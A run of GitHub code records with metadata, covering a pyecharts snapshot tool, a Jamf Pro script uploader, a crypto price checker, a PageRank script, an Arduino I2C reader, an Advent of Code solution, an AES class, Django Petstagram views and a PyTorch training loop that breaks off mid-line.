B64_FORMAT]:\n save_as_text(content, output_name)\n else:\n # pdf, gif, png, jpeg\n content_array = content.split(\",\")\n\n if len(content_array) != 2:\n raise OSError(content_array)\n base64_imagedata = content_array[1]\n imagedata = decode_base64(base64_imagedata)\n if file_type in [PDF_FORMAT, GIF_FORMAT, EPS_FORMAT]:\n save_as(imagedata, output_name, file_type)\n elif file_type in [PNG_FORMAT, JPG_FORMAT]:\n save_as_png(imagedata, output_name)\n else:\n pass\n if \"/\" not in output_name:\n output_name = os.path.join(os.getcwd(), output_name)\n\n logger.info(MESSAGE_FILE_SAVED_AS % output_name)\n\n\nasync def async_make_snapshot(\n html_path: str, file_type: str, pixel_ratio: int = 2, delay: int = 2\n):\n __actual_delay_in_ms = int(delay * 1000)\n\n if file_type == \"svg\":\n snapshot_js = SNAPSHOT_SVG_JS % __actual_delay_in_ms\n else:\n snapshot_js = SNAPSHOT_JS % (\n file_type,\n pixel_ratio,\n __actual_delay_in_ms,\n )\n\n return await get_echarts(to_file_uri(html_path), snapshot_js)\n\n\nasync def get_echarts(url: str, snapshot_js: str):\n browser = await launch()\n page = await browser.newPage()\n await page.goto(url)\n\n content = await page.evaluate(snapshot_js)\n await browser.close()\n return content\n\n\ndef decode_base64(data: str) -> bytes:\n \"\"\"Decode base64, padding being optional.\n\n :param data: Base64 data as an ASCII byte string\n :returns: The decoded byte string.\n\n \"\"\"\n missing_padding = len(data) % 4\n if missing_padding != 0:\n data += \"=\" * (4 - missing_padding)\n return base64.decodestring(data.encode(\"utf-8\"))\n\n\ndef save_as_png(imagedata: bytes, output_name: str):\n with open(output_name, \"wb\") as f:\n f.write(imagedata)\n\n\ndef save_as_text(imagedata: str, output_name: str):\n with codecs.open(output_name, \"w\", encoding=\"utf-8\") as f:\n f.write(imagedata)\n\n\ndef save_as(imagedata: bytes, output_name: str, file_type: str):\n m = Image.open(BytesIO(imagedata))\n m.load()\n color = (255, 255, 255)\n b = Image.new(\"RGB\", m.size, color)\n b.paste(m, mask=m.split()[3])\n b.save(output_name, file_type, quality=100)\n\n\ndef to_file_uri(a_file_name: str) -> str:\n __universal_file_name = a_file_name.replace(\"\\\\\", \"/\")\n if \":\" not in a_file_name:\n __universal_file_name = os.path.abspath(__universal_file_name)\n return \"file:///{0}\".format(__universal_file_name)\n", "repo_name": "pyecharts/pyecharts-snapshot", "sub_path": "pyecharts_snapshot/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 5885, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 172, "dataset": "github-code", "pt": "7", "api": [{"api_name": "asyncio.get_event_loop", "line_number": 85, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 89, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 91, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 97, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 98, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 103, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 104, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 105, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 106, "usage_type": "attribute"}, {"api_name": "pyecharts_snapshot.logger.info", "line_number": 113, "usage_type": "call"}, {"api_name": "pyecharts_snapshot.logger", "line_number": 113, "usage_type": "name"}, {"api_name": "pyecharts_snapshot.logger.VERBOSE", "line_number": 124, "usage_type": "attribute"}, {"api_name": "pyecharts_snapshot.logger", "line_number": 124, "usage_type": "name"}, {"api_name": "pyecharts_snapshot.logger.info", "line_number": 125, "usage_type": "call"}, {"api_name": "pyecharts_snapshot.logger", "line_number": 125, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 149, "usage_type": "call"}, {"api_name": "os.path", "line_number": 149, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 149, "usage_type": "call"}, {"api_name": "pyecharts_snapshot.logger.info", "line_number": 151, "usage_type": "call"}, {"api_name": "pyecharts_snapshot.logger", "line_number": 151, "usage_type": "name"}, {"api_name": "pyppeteer.launch", "line_number": 172, "usage_type": "call"}, {"api_name": "base64.decodestring", "line_number": 191, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 200, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 205, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 205, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 205, "usage_type": "call"}, {"api_name": "PIL.Image.new", "line_number": 208, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 208, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 216, "usage_type": "call"}, {"api_name": "os.path", "line_number": 216, "usage_type": "attribute"}]} {"seq_id": "583917375", "text": "#!/usr/bin/env python3\n\n\"\"\"\n** Jamf Script Upload Script\n by G Pugh\n\nCredentials can be supplied from the command line as arguments, or inputted, or\nfrom an existing PLIST containing values for JSS_URL, API_USERNAME and API_PASSWORD,\nfor example an AutoPkg preferences file which has been configured for use with\nJSSImporter: ~/Library/Preferences/com.github.autopkg\n\nFor usage, run jamf_script_upload.py --help\n\"\"\"\n\nimport argparse\nimport os.path\nfrom time import sleep\n\nfrom jamf_upload_lib import actions, api_connect, api_get, curl\n\n\ndef upload_script(\n jamf_url,\n script_name,\n script_path,\n category_id,\n category_name,\n script_info,\n script_notes,\n script_priority,\n script_parameter4,\n script_parameter5,\n script_parameter6,\n script_parameter7,\n script_parameter8,\n script_parameter9,\n script_parameter10,\n script_parameter11,\n script_os_requirements,\n verbosity,\n token,\n cli_custom_keys,\n obj_id=None,\n):\n \"\"\"Update script metadata.\"\"\"\n\n # import script from file and replace any keys in the script\n # script_contents = Path(script_path).read_text()\n with open(script_path, \"r\") as file:\n script_contents = file.read()\n\n # substitute user-assignable keys\n # pylint is incorrectly stating that 'verbosity' has no value. So...\n # pylint: disable=no-value-for-parameter\n script_contents = actions.substitute_assignable_keys(\n script_contents, cli_custom_keys, verbosity\n )\n\n # priority has to be in upper case. Let's make it nice for the user\n if script_priority:\n script_priority = script_priority.upper()\n\n # build the object\n script_data = {\n \"name\": script_name,\n \"info\": script_info,\n \"notes\": script_notes,\n \"priority\": script_priority,\n \"categoryId\": category_id,\n \"categoryName\": category_name,\n \"parameter4\": script_parameter4,\n \"parameter5\": script_parameter5,\n \"parameter6\": script_parameter6,\n \"parameter7\": script_parameter7,\n \"parameter8\": script_parameter8,\n \"parameter9\": script_parameter9,\n \"parameter10\": script_parameter10,\n \"parameter11\": script_parameter11,\n \"osRequirements\": script_os_requirements,\n \"scriptContents\": script_contents,\n }\n # ideally we upload to the object ID but if we didn't get a good response\n # we fall back to the name\n if obj_id:\n url = \"{}/uapi/v1/scripts/{}\".format(jamf_url, obj_id)\n script_data[\"id\"] = obj_id\n else:\n url = \"{}/uapi/v1/scripts\".format(jamf_url)\n\n if verbosity > 2:\n print(\"Script data:\")\n print(script_data)\n\n print(\"Uploading script..\")\n\n count = 0\n script_json = curl.write_json_file(script_data)\n\n while True:\n count += 1\n if verbosity > 1:\n print(\"Script upload attempt {}\".format(count))\n method = \"PUT\" if obj_id else \"POST\"\n r = curl.request(method, url, token, verbosity, script_json)\n # check HTTP response\n if curl.status_check(r, \"Script\", script_name) == \"break\":\n break\n if count > 5:\n print(\"ERROR: Script upload did not succeed after 5 attempts\")\n print(\"\\nHTTP POST Response Code: {}\".format(r.status_code))\n break\n sleep(10)\n\n if verbosity > 1:\n api_get.get_headers(r)\n\n # clean up temp files\n if os.path.exists(script_json):\n os.remove(script_json)\n\n\ndef get_args():\n \"\"\"Parse any command line arguments\"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"script\", nargs=\"+\", help=\"Full path to the script(s) to upload\",\n )\n parser.add_argument(\n \"--replace\", help=\"overwrite an existing script\", action=\"store_true\",\n )\n parser.add_argument(\n \"--url\", default=\"\", help=\"the Jamf Pro Server URL\",\n )\n parser.add_argument(\n \"--user\", default=\"\", help=\"a user with the rights to upload a script\",\n )\n parser.add_argument(\n \"--password\",\n default=\"\",\n help=\"password of the user with the rights to upload a script\",\n )\n parser.add_argument(\n \"--category\", default=\"\", help=\"a category to assign to the script(s)\",\n )\n parser.add_argument(\n \"--priority\",\n default=\"AFTER\",\n help=\"priority to assign to the script(s) - BEFORE or AFTER\",\n )\n parser.add_argument(\n \"--osrequirements\",\n default=\"\",\n help=\"a value to assign to the OS requirements field of the script(s)\",\n )\n parser.add_argument(\n \"--info\", default=\"\", help=\"information to assign to the script(s)\",\n )\n parser.add_argument(\n \"--notes\", default=\"\", help=\"notes to assign to the script(s)\",\n )\n parser.add_argument(\n \"--parameter4\",\n default=\"\",\n help=\"a value to assign to parameter4 of the script(s)\",\n )\n parser.add_argument(\n \"--parameter5\",\n default=\"\",\n help=\"a value to assign to parameter5 of the script(s)\",\n )\n parser.add_argument(\n \"--parameter6\",\n default=\"\",\n help=\"a value to assign to parameter6 of the script(s)\",\n )\n parser.add_argument(\n \"--parameter7\",\n default=\"\",\n help=\"a value to assign to parameter7 of the script(s)\",\n )\n parser.add_argument(\n \"--parameter8\",\n default=\"\",\n help=\"a value to assign to parameter8 of the script(s)\",\n )\n parser.add_argument(\n \"--parameter9\",\n default=\"\",\n help=\"a value to assign to parameter9 of the script(s)\",\n )\n parser.add_argument(\n \"--parameter10\",\n default=\"\",\n help=\"a value to assign to parameter10 of the script(s)\",\n )\n parser.add_argument(\n \"--parameter11\",\n default=\"\",\n help=\"a value to assign to parameter11 of the script(s)\",\n )\n parser.add_argument(\n \"--prefs\",\n default=\"\",\n help=(\n \"full path to an AutoPkg prefs file containing \"\n \"JSS URL, API_USERNAME and API_PASSWORD, \"\n \"for example an AutoPkg preferences file which has been configured \"\n \"for use with JSSImporter (~/Library/Preferences/com.github.autopkg.plist) \"\n \"or a separate plist anywhere (e.g. ~/.com.company.jcds_upload.plist)\"\n ),\n )\n parser.add_argument(\n \"-k\",\n \"--key\",\n action=\"append\",\n dest=\"variables\",\n default=[],\n metavar=\"KEY=VALUE\",\n help=(\"Provide key/value pairs for script value substitution. \"),\n )\n parser.add_argument(\n \"-v\",\n \"--verbose\",\n action=\"count\",\n default=0,\n help=\"print verbose output headers\",\n )\n args = parser.parse_args()\n\n # Add variables from commandline. These might override those from\n # environment variables and recipe_list\n cli_custom_keys = {}\n for arg in args.variables:\n (key, sep, value) = arg.partition(\"=\")\n if sep != \"=\":\n print(f\"Invalid variable [key=value]: {arg}\")\n cli_custom_keys[key] = value\n\n return args, cli_custom_keys\n\n\ndef main():\n \"\"\"Do the main thing here\"\"\"\n print(\"\\n** Jamf script upload script\")\n print(\"** Uploads script to Jamf Pro.\")\n\n # parse the command line arguments\n args, cli_custom_keys = get_args()\n verbosity = args.verbose\n\n # grab values from a prefs file if supplied\n jamf_url, _, _, _, enc_creds = api_connect.get_creds_from_args(args)\n\n # now get the session token\n token = api_connect.get_uapi_token(jamf_url, enc_creds, verbosity)\n\n if not args.script:\n script = input(\"Enter the full path to the script to upload: \")\n args.script = script\n\n # get the id for a category if supplied\n if args.category:\n print(\"Checking categories for {}\".format(args.category))\n category_id = api_get.get_uapi_obj_id_from_name(\n jamf_url, \"categories\", args.category, token, verbosity\n )\n if not category_id:\n print(\"WARNING: Category not found!\")\n category_id = \"-1\"\n else:\n print(\"Category {} found: ID={}\".format(args.category, category_id))\n else:\n args.category = \"\"\n\n # now process the list of scripts\n for script_path in args.script:\n script_name = os.path.basename(script_path)\n\n # check for existing script\n print(\"\\nChecking '{}' on {}\".format(script_name, jamf_url))\n if verbosity:\n print(\"Full path: {}\".format(script_path))\n obj_id = api_get.get_uapi_obj_id_from_name(\n jamf_url, \"scripts\", script_name, token, verbosity\n )\n\n if obj_id and not args.replace:\n print(\"Not replacing existing script. Use --replace to enforce.\")\n continue\n\n # post the script\n upload_script(\n jamf_url,\n script_name,\n script_path,\n category_id,\n args.category,\n args.info,\n args.notes,\n args.priority,\n args.parameter4,\n args.parameter5,\n args.parameter6,\n args.parameter7,\n args.parameter8,\n args.parameter9,\n args.parameter10,\n args.parameter11,\n args.osrequirements,\n verbosity,\n token,\n cli_custom_keys,\n obj_id,\n )\n\n print()\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "grahampugh/jamf-upload", "sub_path": "standalone_uploaders/jamf_script_upload.py", "file_name": "jamf_script_upload.py", "file_ext": "py", "file_size_in_byte": 9497, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 134, "dataset": "github-code", "pt": "7", "api": [{"api_name": "jamf_upload_lib.actions.substitute_assignable_keys", "line_number": 55, "usage_type": "call"}, {"api_name": "jamf_upload_lib.actions", "line_number": 55, "usage_type": "name"}, {"api_name": "jamf_upload_lib.curl.write_json_file", "line_number": 97, "usage_type": "call"}, {"api_name": "jamf_upload_lib.curl", "line_number": 97, "usage_type": "name"}, {"api_name": "jamf_upload_lib.curl.request", "line_number": 104, "usage_type": "call"}, {"api_name": "jamf_upload_lib.curl", "line_number": 104, "usage_type": "name"}, {"api_name": "jamf_upload_lib.curl.status_check", "line_number": 106, "usage_type": "call"}, {"api_name": "jamf_upload_lib.curl", "line_number": 106, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 112, "usage_type": "call"}, {"api_name": "jamf_upload_lib.api_get.get_headers", "line_number": 115, "usage_type": "call"}, {"api_name": "jamf_upload_lib.api_get", "line_number": 115, "usage_type": "name"}, {"api_name": "os.path.path.exists", "line_number": 118, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 118, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 118, "usage_type": "name"}, {"api_name": "os.path.remove", "line_number": 119, "usage_type": "call"}, {"api_name": "os.path", "line_number": 119, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 124, "usage_type": "call"}, {"api_name": "jamf_upload_lib.api_connect.get_creds_from_args", "line_number": 252, "usage_type": "call"}, {"api_name": "jamf_upload_lib.api_connect", "line_number": 252, "usage_type": "name"}, {"api_name": "jamf_upload_lib.api_connect.get_uapi_token", "line_number": 255, "usage_type": "call"}, {"api_name": "jamf_upload_lib.api_connect", "line_number": 255, "usage_type": "name"}, {"api_name": "jamf_upload_lib.api_get.get_uapi_obj_id_from_name", "line_number": 264, "usage_type": "call"}, {"api_name": "jamf_upload_lib.api_get", "line_number": 264, "usage_type": "name"}, {"api_name": "os.path.path.basename", "line_number": 277, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 277, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 277, "usage_type": "name"}, {"api_name": "jamf_upload_lib.api_get.get_uapi_obj_id_from_name", "line_number": 283, "usage_type": "call"}, {"api_name": "jamf_upload_lib.api_get", "line_number": 283, "usage_type": "name"}]} {"seq_id": "24381895511", "text": "from pycoingecko import CoinGeckoAPI\r\nimport etherscan\r\nimport config\r\n\r\ncg = CoinGeckoAPI()\r\n\r\nbtc = 'bitcoin'\r\nuni = 'uniswap'\r\nlink = 'chainlink'\r\nxtk = 'xtoken'\r\naave = 'aave'\r\ncoins = [btc, uni, link, xtk, aave]\r\n\r\nes = etherscan.Client(\r\n api_key=config.api_key,\r\n cache_expire_after=5,\r\n)\r\nwallet = es.get_eth_balance(config.address)\r\nwei = wallet * 10 ** -18\r\ngas = es.get_gas_price() * 10 ** -9\r\neth_price = es.get_eth_price()\r\neth_usd = []\r\nfor i in eth_price:\r\n eth_usd.append(eth_price[i])\r\n\r\nprint(\"Ethereum: \", eth_usd[2])\r\nif round(gas) > 100:\r\n print(\"Gas is too damn high!\", gas)\r\nelse:\r\n print(round(gas), ' GWEI')\r\nprint(round(wei, 2), ' ETH')\r\nprint(round(wei * eth_usd[2], 2), \" USD\")\r\n\r\n\r\ndef print_list():\r\n # While loop iterating through the coin list\r\n index = 0\r\n while index < len(coins):\r\n # prints all values in list\r\n print(cg.get_price(ids=coins[index], vs_currencies='usd'))\r\n index += 1\r\n user_input()\r\n\r\n\r\ndef user_input():\r\n # allows for user input\r\n # while input(\"Would you like to continue?\\n\") == 'yes':\r\n new = input('Enter a value\\n').strip()\r\n if new in coins:\r\n raise InvalidInputError()\r\n print('Already exists in the list\\n')\r\n user_input()\r\n # appends and prints updated list\r\n else:\r\n coins.append(new)\r\n k = 0\r\n while k < len(coins):\r\n print(cg.get_price(ids=coins[k], vs_currencies='usd'))\r\n k += 1\r\n user_input()\r\n\r\n\r\nclass InvalidInputError(BaseException):\r\n pass\r\n\r\n\r\n\r\nprint_list()\r\n", "repo_name": "Slevy239/coingecko_api", "sub_path": "api_calls.py", "file_name": "api_calls.py", "file_ext": "py", "file_size_in_byte": 1576, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pycoingecko.CoinGeckoAPI", "line_number": 5, "usage_type": "call"}, {"api_name": "etherscan.Client", "line_number": 14, "usage_type": "call"}, {"api_name": "config.api_key", "line_number": 15, "usage_type": "attribute"}, {"api_name": "config.address", "line_number": 18, "usage_type": "attribute"}]} {"seq_id": "27781205474", "text": "# -*- coding:utf-8 -*-\n\nimport numpy as np\nimport matplotlib.pylab as plt\nimport operator\n\n#load the relation_matrix\nrelation_matrix = np.loadtxt(\"result_matrix.txt\")\n\n#init the x[] and y[]\nx = list(np.zeros((1)))\ny = list(np.zeros((1)))\n\nfor i in range(0,500):\n for j in range(0,500):\n if relation_matrix[i][j] == 1:\n x.append(i)\n y.append(j)\n \n \n# plot the x[],y[]\nplt.scatter(x,y,s = 1)\nplt.show()\n\n#init the matrix L\nL = np.zeros((500,500))\nfor i in range(0,len(x)):\n L[int(x[i])][int(y[i])] = 1\n\n#translate L into A\nfor i in range(0,500):\n sum = 0\n for j in L[:,i]:\n sum += j\n if not sum == 0:\n L[:,i] = L[:,i]/sum\nA = L\n\nA = np.array(A)\n#power iteration for G\nX = np.zeros((500,1))\n#init a random vector\nX[0][0] = 1\n# init e and k\ne = np.ones((500,1))\nk = 0.85\n\nfor i in range(0,5000):\n Y = np.dot(A,X)\n\n B = 1 - k*np.sum(Y)\n X = k*Y + (B/500)*e\n# V is the result\nV = X\n\n#load the urls from file \nf = open('result__www.scutde.net.txt','r')\nurls = []\nwhile True:\n url = f.readline().rstrip('\\n')\n if url:\n urls.append(url)\n else:\n break\n\n#generate a dictionary that has a map from url to vector V\nV_dic = {}\nV = list(V)\nfor i in range(0,500):\n V_dic[urls[i]] = float(V[i])\n\n#sort the V_dic by its values \nsorted_result=sorted(V_dic.items(),key=operator.itemgetter(1),reverse=True)\n#output the top 20 results\nfor i in range(0,20):\n print('{} : {}'.format(i+1,sorted_result[i][0]))", "repo_name": "SPbun/goole_pagerank", "sub_path": "plot_matrix.py", "file_name": "plot_matrix.py", "file_ext": "py", "file_size_in_byte": 1492, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.loadtxt", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pylab.scatter", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pylab.show", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 23, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 51, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 73, "usage_type": "call"}]} {"seq_id": "36122443646", "text": "import smbus\nimport time\nimport struct\nfrom datetime import datetime\n\nclass ArduinoI2C:\n\n def __init__(self, slave_address):\n self.slave_address = slave_address\n self.bus = smbus.SMBus(1)\n\n def leer_temperatura(self):\n # Enviar solicitud y leer los 4 bytes de la temperatura enviados por el Arduino\n tempBytes = self.bus.read_i2c_block_data(self.slave_address, 0, 4)\n\n # Convertir los 4 bytes en un float\n tempC = struct.unpack(' dict[list[tuple[str, int]]]:\n result = defaultdict(list)\n for v, f in valves.items():\n if f > 0 or v == 'AA':\n for o, d in bfs(v, cave.get):\n if v != o and valves[o] > 0:\n result[v].append((o, d))\n return result\n\n\ndef score(path: dict[str, int], budget: int):\n return sum(valves[v] * (budget-t) for v, t in path.items())\n\n\ndef getmask(path: dict[str, int]):\n result = 0\n for v in path:\n result |= masks[v]\n return result\n\n\ncave, valves = read_input()\ncave2 = collapse_zeroes(cave, valves)\nmasks = {k: 1 << i for i, k in enumerate(cave2)}\n\n\ndp = {}\ndef findmax(cur: str, curtime: int, path: dict[str, int], budget: int):\n mask, s = getmask(path), score(path, budget)\n cached = dp.get(mask, 0)\n if cached < s:\n dp[mask] = s\n for n, dist in cave2[cur]:\n if curtime + dist + 1 <= budget and n not in path:\n path[n] = curtime + dist + 1\n findmax(n, curtime + dist + 1, path, budget)\n del path[n]\n\n\nfindmax('AA', 0, {}, 30)\nprint('Star 1:', max(dp.values()))\ndp.clear()\nfindmax('AA', 0, {}, 26)\nprint('Star 2:', max(s1[1] + s2[1] for s1, s2 in itls.combinations(dp.items(), 2) if not (s1[0] & s2[0])))", "repo_name": "tkirill/adventofcode", "sub_path": "2022/python/16_Proboscidea_Volcanium.py", "file_name": "16_Proboscidea_Volcanium.py", "file_ext": "py", "file_size_in_byte": 1663, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.defaultdict", "line_number": 8, "usage_type": "call"}, {"api_name": "re.search", "line_number": 11, "usage_type": "call"}, {"api_name": "re.split", "line_number": 12, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 19, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 61, "usage_type": "call"}]} {"seq_id": "35194901970", "text": "from Crypto.Cipher import AES\n\n#AES key must be either 16, 24, or 32 bytes long (Goffman's rubric specifies using 128 bit key (16 bytes) for AES)\n\nclass classAES:\n #Set Key Function\n def setKey(self, key):\n #write an if statement to make sure key is 128 bits (16 bytes) long\n self.key = key\n return (len(key) == 16)\n\n #Encrypt Function\n def encrypt(self, plaintext):\n pad = 16 - (len(plaintext) % 16)\n data = plaintext + chr(pad)*pad\n aes = AES.new(self.key, AES.MODE_ECB)\n ciphertext = ''\n for i in range(0, len(data), 16):\n ciphertext += aes.encrypt(data[i:i+16])\n return ciphertext\n\n #Decrypt Function\n def decrypt(self, ciphertext):\n aes = AES.new(self.key, AES.MODE_ECB)\n plaintext = ''\n for i in range(0, len(ciphertext), 16):\n plaintext += aes.decrypt(ciphertext[i:i+16])\n return plaintext[:-ord(plaintext[len(plaintext) - 1])]\n", "repo_name": "SeaLabEZF/CPSC452Project2", "sub_path": "project2/project2/AES.py", "file_name": "AES.py", "file_ext": "py", "file_size_in_byte": 894, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "Crypto.Cipher.AES.new", "line_number": 16, "usage_type": "call"}, {"api_name": "Crypto.Cipher.AES", "line_number": 16, "usage_type": "name"}, {"api_name": "Crypto.Cipher.AES.MODE_ECB", "line_number": 16, "usage_type": "attribute"}, {"api_name": "Crypto.Cipher.AES.new", "line_number": 24, "usage_type": "call"}, {"api_name": "Crypto.Cipher.AES", "line_number": 24, "usage_type": "name"}, {"api_name": "Crypto.Cipher.AES.MODE_ECB", "line_number": 24, "usage_type": "attribute"}]} {"seq_id": "27255776068", "text": "from django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, get_object_or_404, redirect, resolve_url\nfrom pyperclip import copy\n\nfrom petstagram.common.forms import CommentForm, SearchForm\nfrom petstagram.common.models import Like\nfrom petstagram.photos.models import Photo\n\n\n# Create your views here.\n\n\ndef home_page(request):\n all_photos = Photo.objects.all()\n comment_form = CommentForm()\n search_form = SearchForm()\n user = request.user\n if user.__class__.__name__ != 'AnonymousUser':\n all_liked_photos_by_request_user = [like.to_photo_id for like in user.like_set.all()]\n else:\n all_liked_photos_by_request_user = None\n\n if request.method == \"POST\":\n search_form = SearchForm(request.POST)\n if search_form.is_valid():\n all_photos = all_photos.filter(tagged_pets__name__icontains=search_form.cleaned_data[\"pet_name\"])\n\n context = {\n \"all_photos\": all_photos,\n \"comment_form\": comment_form,\n \"search_form\": search_form,\n \"all_liked_photos_by_request_user\": all_liked_photos_by_request_user,\n }\n return render(request, template_name=\"common/home-page.html\", context=context)\n\n\n@login_required()\ndef like_functionality(request, photo_id):\n photo = get_object_or_404(Photo, id=photo_id)\n liked_object = Like.objects.filter(to_photo_id=photo_id, user=request.user).first()\n\n if liked_object:\n liked_object.delete()\n else:\n like = Like(to_photo=photo, user=request.user)\n like.save()\n\n return redirect(request.META['HTTP_REFERER'] + f'#{photo_id}')\n\n\ndef copy_link_to_clipboard(request, photo_id):\n copy(request.META['HTTP_HOST'] + resolve_url('details photo', photo_id))\n\n return redirect(request.META['HTTP_REFERER'] + f'#{photo_id}')\n\n\n@login_required\ndef add_comment(request, photo_id):\n if request.method == \"POST\":\n photo = Photo.objects.get(id=photo_id)\n form = CommentForm(request.POST)\n if form.is_valid():\n comment = form.save(commit=False)\n comment.to_photo = photo\n comment.user = request.user\n comment.save()\n\n return redirect(request.META['HTTP_REFERER'] + f'#{photo_id}')\n", "repo_name": "Moramarth/SoftUni-Python-Web-2023", "sub_path": "Python Web Framework June 2023/Workshop-Petstagram-Part-Two/petstagram/petstagram/common/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2234, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "petstagram.photos.models.Photo.objects.all", "line_number": 14, "usage_type": "call"}, {"api_name": "petstagram.photos.models.Photo.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "petstagram.photos.models.Photo", "line_number": 14, "usage_type": "name"}, {"api_name": "petstagram.common.forms.CommentForm", "line_number": 15, "usage_type": "call"}, {"api_name": "petstagram.common.forms.SearchForm", "line_number": 16, "usage_type": "call"}, {"api_name": "petstagram.common.forms.SearchForm", "line_number": 24, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 34, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 39, "usage_type": "call"}, {"api_name": "petstagram.photos.models.Photo", "line_number": 39, "usage_type": "argument"}, {"api_name": "petstagram.common.models.Like.objects.filter", "line_number": 40, "usage_type": "call"}, {"api_name": "petstagram.common.models.Like.objects", "line_number": 40, "usage_type": "attribute"}, {"api_name": "petstagram.common.models.Like", "line_number": 40, "usage_type": "name"}, {"api_name": "petstagram.common.models.Like", "line_number": 45, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 48, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 37, "usage_type": "call"}, {"api_name": "pyperclip.copy", "line_number": 52, "usage_type": "call"}, {"api_name": "django.shortcuts.resolve_url", "line_number": 52, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 54, "usage_type": "call"}, {"api_name": "petstagram.photos.models.Photo.objects.get", "line_number": 60, "usage_type": "call"}, {"api_name": "petstagram.photos.models.Photo.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "petstagram.photos.models.Photo", "line_number": 60, "usage_type": "name"}, {"api_name": "petstagram.common.forms.CommentForm", "line_number": 61, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 68, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 57, "usage_type": "name"}]} {"seq_id": "7447229257", "text": "import data\nimport models\nfrom data import transform\n\nimport torch\n\nmodel, criterion = models.init_model_params()\n\ndef train_model(model, optimizer):\n \n since = time.time()\n best_acc = 0.0\n for epoch in range(data.get_epoch()):\n \n print(f'epoch {epoch}/{data.get_epoch()-1}')\n print('-' * 10)\n \n # Each epoch has a training and validation phase\n for phase in ['train_loader', 'valid_loader']:\n if phase == 'train_loader':\n model.train()\n else:\n model.eval()\n\n running_loss = 0.0\n running_corrects = 0\n\n # Iterate over data\n for inputs, labels in data.loadData()[phase]:\n #inputs = inputs.to(device)\n #labels = labels.to(device)\n \n \n\n # forward\n # track history if only in train\n with torch.set_grad_enabled(phase == 'train_loader'):\n outputs = model(inputs)\n _, preds = torch.max(outputs, 1)\n loss = criterion(outputs, labels)\n \n # backward\n if phase == 'train_loader':\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n running_loss += loss.item() * inputs.size(0)\n running_corrects += torch.sum(preds == labels.data)\n \n #if phase == 'train_loader':\n # scheduler.step()\n \n epoch_loss = running_loss / dataset_sizes[phase]\n epoch_acc = running_corrects.double() / dataset_sizes[phase]\n \n print(f'{phase} Loss: {epoch_loss:.4f} Acc: {epoch_acc:.4f}')\n \n # deep copy the model\n if phase == 'valid_loader' and epoch_acc > best_acc:\n best_acc = epoch_acc\n best_model_wts = copy.deepcopy(model.state_dict())\n \n \n\n print()\n \n \n time_eplapsed = time.time() - since\n print(f'Training complete in {time_elapsed//60:.0f}m {time_elapsed%60:.0f}s')\n print(f'Best val Acc: {best_acc:.4f}')\n \n # load best model weights\n model.load_state_dict(best_model_wts)\n return model\n\ndef export_model(dl_model, export_dir, exported_model=\"model.pth\"):\n if not os.path.isdir(export_dir):\n export_path = os.mkdir(export_dir)\n model_path = path.Path(export_dir)/exported_model\n \n timestamp = 